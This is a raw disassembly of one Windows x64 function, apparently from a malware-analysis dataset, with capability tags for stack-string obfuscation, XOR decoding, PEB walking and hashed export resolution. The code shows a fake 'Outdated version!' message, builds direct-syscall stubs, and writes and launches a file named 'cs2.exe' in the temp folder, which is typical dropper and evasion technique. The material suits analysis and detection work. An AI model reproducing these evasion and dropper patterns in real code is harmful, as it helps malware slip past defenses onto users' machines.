Function at 0x140001ba0
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Encode data using xor
Get common file path
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x4d8]
sub rsp, 0x5b0
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rbp + 0x490], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
movdqa xmm1, xmmword [0x140006500]
movdqu xmmword [rbp], xmm1
mov word [rbp - 0x10], 0x4f
movups xmmword [rbp + 0x10], xmm0
movdqu xmmword [rbp + 0x20], xmm1
mov word [rbp + 0x10], 0x75
movups xmmword [rbp + 0x30], xmm0
movdqu xmmword [rbp + 0x40], xmm1
mov word [rbp + 0x30], 0x74
movups xmmword [rbp + 0x50], xmm0
movdqu xmmword [rbp + 0x60], xmm1
mov word [rbp + 0x50], 0x64
movups xmmword [rbp + 0x70], xmm0
movdqu xmmword [rbp + 0x80], xmm1
mov word [rbp + 0x70], 0x61
movups xmmword [rbp + 0x90], xmm0
movdqu xmmword [rbp + 0xa0], xmm1
mov word [rbp + 0x90], 0x74
movups xmmword [rbp + 0xb0], xmm0
movdqu xmmword [rbp + 0xc0], xmm1
mov word [rbp + 0xb0], 0x65
movups xmmword [rbp + 0xd0], xmm0
movdqu xmmword [rbp + 0xe0], xmm1
mov word [rbp + 0xd0], 0x64
movups xmmword [rbp + 0xf0], xmm0
movdqu xmmword [rbp + 0x100], xmm1
mov word [rbp + 0xf0], 0x20
movups xmmword [rbp + 0x110], xmm0
movdqu xmmword [rbp + 0x120], xmm1
mov word [rbp + 0x110], 0x76
movups xmmword [rbp + 0x130], xmm0
movdqu xmmword [rbp + 0x140], xmm1
mov word [rbp + 0x130], 0x65
movups xmmword [rbp + 0x150], xmm0
movdqu xmmword [rbp + 0x160], xmm1
mov word [rbp + 0x150], 0x72
movups xmmword [rbp + 0x170], xmm0
movdqu xmmword [rbp + 0x180], xmm1
mov word [rbp + 0x170], 0x73
movups xmmword [rbp + 0x190], xmm0
movdqu xmmword [rbp + 0x1a0], xmm1
mov word [rbp + 0x190], 0x69
movups xmmword [rbp + 0x1b0], xmm0
movdqu xmmword [rbp + 0x1c0], xmm1
mov word [rbp + 0x1b0], 0x6f
movups xmmword [rbp + 0x1d0], xmm0
movdqu xmmword [rbp + 0x1e0], xmm1
mov word [rbp + 0x1d0], 0x6e
movups xmmword [rbp + 0x1f0], xmm0
movdqu xmmword [rbp + 0x200], xmm1
mov word [rbp + 0x1f0], 0x21
movdqu xmmword [rbp + 0x230], xmm0
mov qword [rbp + 0x240], 0
mov ecx, 0x220
call fcn.140004150
mov qword [rbp + 0x230], rax
mov qword [rbp + 0x238], rax
lea rcx, [rax + 0x220]
mov qword [rbp + 0x240], rcx
lea rcx, [rbp + 0x230]
mov qword [rsp + 0x68], rcx
lea r9, [rbp + 0x230]
mov r8, rax
lea rdx, [rbp + 0x210]
lea rcx, [rbp - 0x10]
call fcn.140003ef0
mov qword [rbp + 0x238], rax
lea r9, [0x140003560]
mov edx, 0x20
lea r8d, [rdx - 0xf]
lea rcx, [rbp - 0x10]
call fcn.14000418c
call fcn.140001970
movsd xmm0, qword [str.PIXSOZ]
movsd qword [rsp + 0x50], xmm0
mov eax, dword [str._9C]
mov dword [rsp + 0x58], eax
mov esi, dword [0x140008088]
cmp byte [0x14000647b], 0
je 0x140001f50
xor r8d, r8d
cmp esi, 2
jl 0x140001f0b
movdqa xmm4, xmmword [0x140006560]
movdqa xmm2, xmmword [0x140006510]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140006530]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140006540]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.8888888888888888]
movd xmm0, dword [str.PIXSOZ]
xorps xmm2, xmm0
movd dword [rsp + 0x50], xmm2
movdqa xmm3, xmmword [0x140006520]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140006530]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140006540]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.8888888888888888]
movd xmm0, dword [rsp + 0x54]
xorps xmm2, xmm0
movd dword [rsp + 0x54], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140001f20
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.1400035c0
mov rcx, rax
call fcn.140001510
xor edi, edi
mov rax, qword [rbp + 0x238]
mov rdx, qword [rbp + 0x230]
sub rax, rdx
sar rax, 5
test rax, rax
je 0x140001fdb
xor ebx, ebx
nop word [rax + rax]
add rdx, rbx
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0xf
jbe 0x140001fa1
mov rdx, qword [rdx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003d30
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
inc edi
add rbx, 0x20
mov rcx, qword [rbp + 0x238]
mov rdx, qword [rbp + 0x230]
sub rcx, rdx
sar rcx, 5
movsxd rax, edi
cmp rax, rcx
jb 0x140001f90
movups xmm0, xmmword [str.HVMNNVZ__bn_a_.k_r_b]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x1400064b0]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x1400064c0]
movups xmmword [rbp - 0x70], xmm0
movsd xmm0, qword [0x1400064d0]
movsd qword [rbp - 0x60], xmm0
movzx eax, word [0x1400064d8]
mov word [rbp - 0x58], ax
xor r8d, r8d
cmp esi, 2
jl 0x140002165
movdqa xmm5, xmmword [0x140006510]
movdqa xmm4, xmmword [0x140006560]
movdqa xmm6, xmmword [0x140006530]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x220], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rbp + 0x220]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140006540]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140006540]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140002060
cmp r8d, 0x3a
jge 0x1400021a0
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3a
jl 0x140002170
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2a4], xmm0
movups xmmword [rbp + 0x2b4], xmm0
movups xmmword [rbp + 0x2c4], xmm0
movups xmmword [rbp + 0x2d4], xmm0
movups xmmword [rbp + 0x2e4], xmm0
movups xmmword [rbp + 0x2f4], xmm0
mov dword [rbp + 0x304], eax
mov dword [rbp + 0x2a0], 0x68
movups xmmword [rbp + 0x270], xmm0
mov qword [rbp + 0x280], rax
movsd xmm0, qword [str.SHUYQ_r_rn_._D]
movsd qword [rbp - 0x50], xmm0
mov eax, dword [0x140006450]
mov dword [rbp - 0x48], eax
movzx eax, byte [0x140006454]
mov byte [rbp - 0x44], al
xor r8d, r8d
cmp esi, 2
jl 0x140002318
movdqa xmm4, xmmword [0x140006560]
movdqa xmm2, xmmword [0x140006510]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140006530]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140006540]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.SHUYQ_r_rn_._D]
xorps xmm2, xmm0
movd dword [rbp - 0x50], xmm2
movdqa xmm3, xmmword [0x140006520]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140006530]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140006540]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x4c]
xorps xmm2, xmm1
movd dword [rbp - 0x4c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp - 0x50]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140002330
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
nop
mov rax, qword gs:[0x60]
mov r9, qword [rax + 0x18]
add r9, 0x10
mov qword [rbp + 0x220], r9
xor esi, esi
mov rcx, qword [r9]
mov qword [rbp + 0x210], rcx
cmp rcx, r9
je 0x14000330b
mov ebx, 0x5a4d
mov r11d, 0x20b
mov r10d, 0x2beaf37
nop dword [rax]
cmp qword [rcx + 0x60], 0
je 0x1400024e9
mov rdi, qword [rcx + 0x30]
test rdi, rdi
je 0x1400024e9
movsxd r8, dword [rdi + 0x3c]
mov r15, qword [r8 + rdi + 0x88]
mov rdx, r15
shr rdx, 0x20
mov r13d, r15d
add r13, rdi
cmp word [rdi], bx
jne 0x140003357
cmp word [r8 + rdi + 0x18], r11w
jne 0x1400023fa
test edx, edx
je 0x1400024e9
xor ebx, ebx
mov r12d, dword [r13 + 0x18]
test r12d, r12d
je 0x1400024db
mov ecx, dword [r13 + 0x20]
lea rax, [rdi + rbx*4]
mov r11d, dword [rax + rcx]
add r11, rdi
mov r8d, r10d
xor r10d, r10d
movzx r9d, byte [r11]
test r9b, r9b
je 0x140002486
mov r12d, 0x2beaf37
nop dword [rax]
movzx edx, r9b
sub r9b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
cmp r9b, 0x19
cmova ecx, edx
movsx edx, cl
lea ecx, [r10 + 0x2beaf37]
imul ecx, edx
xor r8d, edx
add r8d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r12d
xor eax, r12d
imul r8d, eax
add r8d, edx
inc r10d
movzx r9d, byte [r10 + r11]
test r9b, r9b
jne 0x140002430
mov r12d, dword [r13 + 0x18]
cmp r8d, 0x84394747
je 0x140002498
inc ebx
mov r10d, 0x2beaf37
cmp ebx, r12d
jae 0x1400024c7
jmp 0x140002409
mov ecx, dword [r13 + 0x1c]
add rcx, rdi
mov eax, dword [r13 + 0x24]
add rax, rdi
movzx eax, word [rax + rbx*2]
mov esi, dword [rcx + rax*4]
add rsi, rdi
shr r15, 0x20
add r15, r13
cmp rsi, r13
jb 0x1400024c1
cmp rsi, r15
jb 0x140002501
mov r10d, 0x2beaf37
mov rcx, qword [rbp + 0x210]
mov r9, qword [rbp + 0x220]
mov r11d, 0x20b
test rsi, rsi
jne 0x140002592
mov ebx, 0x5a4d
mov rcx, qword [rcx]
mov qword [rbp + 0x210], rcx
cmp rcx, r9
je 0x14000330b
jmp 0x1400023b0
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
je 0x14000252e
nop dword [rax]
inc rsi
mov rax, rsi
cmp r8b, 0x2e
cmovne rax, r11
mov r11, rax
movzx r8d, byte [rsi]
test r8b, r8b
jne 0x140002510
movzx r8d, byte [rax]
mov ebx, 0x2beaf37
mov r9d, ebx
xor r10d, r10d
test r8b, r8b
je 0x140002587
nop
movzx edx, r8b
sub r8b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
cmp r8b, 0x19
cmova ecx, edx
movsx edx, cl
lea ecx, [r10 + 0x2beaf37]
imul ecx, edx
xor r9d, edx
add r9d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, ebx
xor eax, ebx
imul r9d, eax
add r9d, edx
inc r10d
movzx r8d, byte [r10 + r11]
test r8b, r8b
jne 0x140002540
mov edx, r9d
call fcn.140003970
mov rsi, rax
lea rax, [rbp + 0x270]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x2a0]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x70]
xor ecx, ecx
call rsi
nop
mov qword [rbp + 0x248], 0xffffffffff676980
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x78], xmm0
mov dword [rbp - 0x78], 0x48ca8949
mov word [rbp - 0x74], 0xc0c7
mov word [rbp - 0x6e], 0x50f
mov byte [rbp - 0x6c], 0xc3
mov r14d, 0x9af221fd
mov r15d, 0x87c1908d
cmp qword [0x140008860], 0
jne 0x140002643
cmp qword [0x140008868], 0
jne 0x140002643
mov edx, r14d
call fcn.1400012d0
mov qword [0x140008860], rax
mov edx, r15d
call fcn.1400012d0
mov qword [0x140008868], rax
mov edx, 0x2a08a16f
call fcn.1400012d0
mov ecx, dword [rax + 4]
mov dword [rsp + 0x70], ecx
mov dword [rbp - 0x72], ecx
lea rdx, [0x140008860]
lea rcx, [rsp + 0x78]
call fcn.140003c20
lea rdx, [rbp + 0x248]
xor ecx, ecx
call qword [rbp - 0x80]
nop
mov rax, qword [rsp + 0x78]
test rax, rax
je 0x1400026da
mov rbx, qword [0x140008868]
mov qword [rbp + 0x220], 0
mov qword [rbp + 0x210], rax
mov r9d, 0x8000
lea r8, [rbp + 0x220]
lea rdx, [rbp + 0x210]
mov rcx, 0xffffffffffffffff
call rbx
cmp eax, 0xc0000045
jne 0x1400026da
mov r9d, 0x8000
lea r8, [rbp + 0x220]
lea rdx, [rbp + 0x210]
mov rcx, 0xffffffffffffffff
call rbx
nop
lea rdx, [rbp + 0x380]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
lea rax, [rbp + 0x380]
mov rbx, 0xffffffffffffffff
nop word [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140002710
movabs rsi, 0x7fffffffffffffff
cmp rbx, rsi
ja 0x14000337a
cmp rbx, 0xf
ja 0x14000275c
mov qword [rbp - 0x80], rbx
mov qword [rbp - 0x78], 0xf
mov r8, rbx
lea rdx, [rbp + 0x380]
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x70], 0
jmp 0x1400027f7
mov rax, rbx
or rax, 0xf
cmp rax, rsi
jbe 0x140002791
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140004150
test rax, rax
je 0x1400027bc
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400027d4
mov ecx, 0x16
cmp rax, rcx
cmovb rax, rcx
mov rsi, rax
lea rcx, [rax + 1]
cmp rcx, 0x1000
jb 0x1400027c3
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000332e
jmp 0x140002776
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x1400027d2
call fcn.140004150
mov rdi, rax
jmp 0x1400027d4
xor edi, edi
mov qword [rsp + 0x70], rdi
mov qword [rbp - 0x80], rbx
mov qword [rbp - 0x78], rsi
mov r8, rbx
lea rdx, [rbp + 0x380]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rbx], 0
mov rcx, qword [rbp - 0x80]
mov rdx, qword [rbp - 0x78]
mov rax, rdx
sub rax, rcx
cmp rax, 8
jb 0x14000283c
lea rax, [rcx + 8]
mov qword [rbp - 0x80], rax
lea rax, [rsp + 0x70]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x70]
movabs rdx, 0x6578652e3273635c
mov qword [rax + rcx], rdx
mov byte [rax + rcx + 8], 0
lea rax, [rsp + 0x70]
jmp 0x140002854
mov qword [rsp + 0x20], 8
mov edx, 8
lea rcx, [rsp + 0x70]
call fcn.140003770
xorps xmm0, xmm0
movups xmmword [rbp + 0x250], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x260], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x250], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x260], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x1400028d0
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400028cb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400028cb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400044a4
movdqa xmm0, xmmword [0x1400064f0]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], 0
lea rbx, [rbp + 0x250]
cmp qword [rbp + 0x268], 0xf
cmova rbx, qword [rbp + 0x250]
mov qword [rbp - 0x50], rbx
movups xmm0, xmmword [str.PMNK]
movups xmmword [rbp - 0x30], xmm0
movsd xmm0, qword [0x140006490]
movsd qword [rbp - 0x20], xmm0
movzx eax, word [0x140006498]
mov word [rbp - 0x18], ax
mov edi, dword [0x140008088]
cmp byte [0x140006499], 0
je 0x140002ab0
xor r8d, r8d
cmp edi, 2
jl 0x140002a76
movdqa xmm5, xmmword [0x140006510]
movdqa xmm4, xmmword [0x140006560]
movdqa xmm6, xmmword [0x140006530]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x220], xmm0
lea rcx, [rbp - 0x2c]
mov edx, dword [rbp + 0x220]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140006540]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140006540]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140002971
cmp r8d, 0x1a
jge 0x140002ab0
movsxd rax, r8d
lea r9, [rbp - 0x30]
add r9, rax
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140002a80
movzx eax, word [0x1400064e8]
mov word [rsp + 0x58], ax
movsd xmm0, qword [str.mKVVSS]
movzx eax, byte [0x1400064ea]
movsd qword [rsp + 0x50], xmm0
mov byte [rsp + 0x50], 0x55
xor byte [rsp + 0x51], 0x39
xor byte [rsp + 0x52], 0x3a
xor byte [rsp + 0x53], 0x3b
xor byte [rsp + 0x54], 0x3c
xor byte [rsp + 0x55], 0x3d
xor byte [rsp + 0x56], 0x3e
xor byte [rsp + 0x57], 0x3f
xor byte [rsp + 0x58], 0x40
xor byte [rsp + 0x59], 0x41
xor al, 0x42
mov byte [rsp + 0x5a], al
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r10, rax
movups xmm0, xmmword [0x140006458]
movups xmmword [rsp + 0x50], xmm0
movzx ecx, word [0x140006468]
mov word [rsp + 0x60], cx
movzx ecx, byte [0x14000646a]
mov byte [rsp + 0x62], cl
xor r8d, r8d
cmp edi, 2
jl 0x140002c85
movdqa xmm5, xmmword [0x140006510]
movdqa xmm4, xmmword [0x140006560]
movdqa xmm6, xmmword [0x140006530]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x220], xmm0
lea rcx, [rsp + 0x54]
mov edx, dword [rbp + 0x220]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140006540]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140006540]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140002b80
cmp r8d, 0x13
jge 0x140002cc0
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x140002c90
lea rdx, [rsp + 0x50]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rbx
lea rdx, [rbp - 0x30]
xor ecx, ecx
call rax
nop
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x78], xmm0
mov dword [rbp - 0x78], 0x48ca8949
mov word [rbp - 0x74], 0xc0c7
mov word [rbp - 0x6e], 0x50f
mov byte [rbp - 0x6c], 0xc3
cmp qword [0x140008860], 0
jne 0x140002d38
cmp qword [0x140008868], 0
jne 0x140002d38
mov rdx, r14
call fcn.1400012d0
mov qword [0x140008860], rax
mov rdx, r15
call fcn.1400012d0
mov qword [0x140008868], rax
mov edx, 0x2a08a16f
call fcn.1400012d0
mov ecx, dword [rax + 4]
mov dword [rsp + 0x70], ecx
mov dword [rbp - 0x72], ecx
lea rdx, [0x140008860]
lea rcx, [rsp + 0x78]
call fcn.140003c20
lea rdx, [rbp + 0x248]
xor ecx, ecx
call qword [rbp - 0x80]
nop
mov rax, qword [rsp + 0x78]
test rax, rax
je 0x140002dcf
mov rbx, qword [0x140008868]
mov qword [rbp + 0x220], 0
mov qword [rbp + 0x210], rax
mov r9d, 0x8000
lea r8, [rbp + 0x220]
lea rdx, [rbp + 0x210]
mov rcx, 0xffffffffffffffff
call rbx
cmp eax, 0xc0000045
jne 0x140002dcf
mov r9d, 0x8000
lea r8, [rbp + 0x220]
lea rdx, [rbp + 0x210]
mov rcx, 0xffffffffffffffff
call rbx
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x314], xmm0
movups xmmword [rbp + 0x324], xmm0
movups xmmword [rbp + 0x334], xmm0
movups xmmword [rbp + 0x344], xmm0
movups xmmword [rbp + 0x354], xmm0
movups xmmword [rbp + 0x364], xmm0
mov dword [rbp + 0x374], eax
mov dword [rbp + 0x310], 0x68
movups xmmword [rbp + 0x288], xmm0
mov qword [rbp + 0x298], rax
movsd xmm0, qword [str.SHUYQ_r_rn_._D]
movsd qword [rbp - 0x40], xmm0
mov eax, dword [0x140006450]
mov dword [rbp - 0x38], eax
movzx eax, byte [0x140006454]
mov byte [rbp - 0x34], al
xor r8d, r8d
cmp edi, 2
jl 0x140002f47
movdqa xmm4, xmmword [0x140006560]
movdqa xmm2, xmmword [0x140006510]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140006530]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
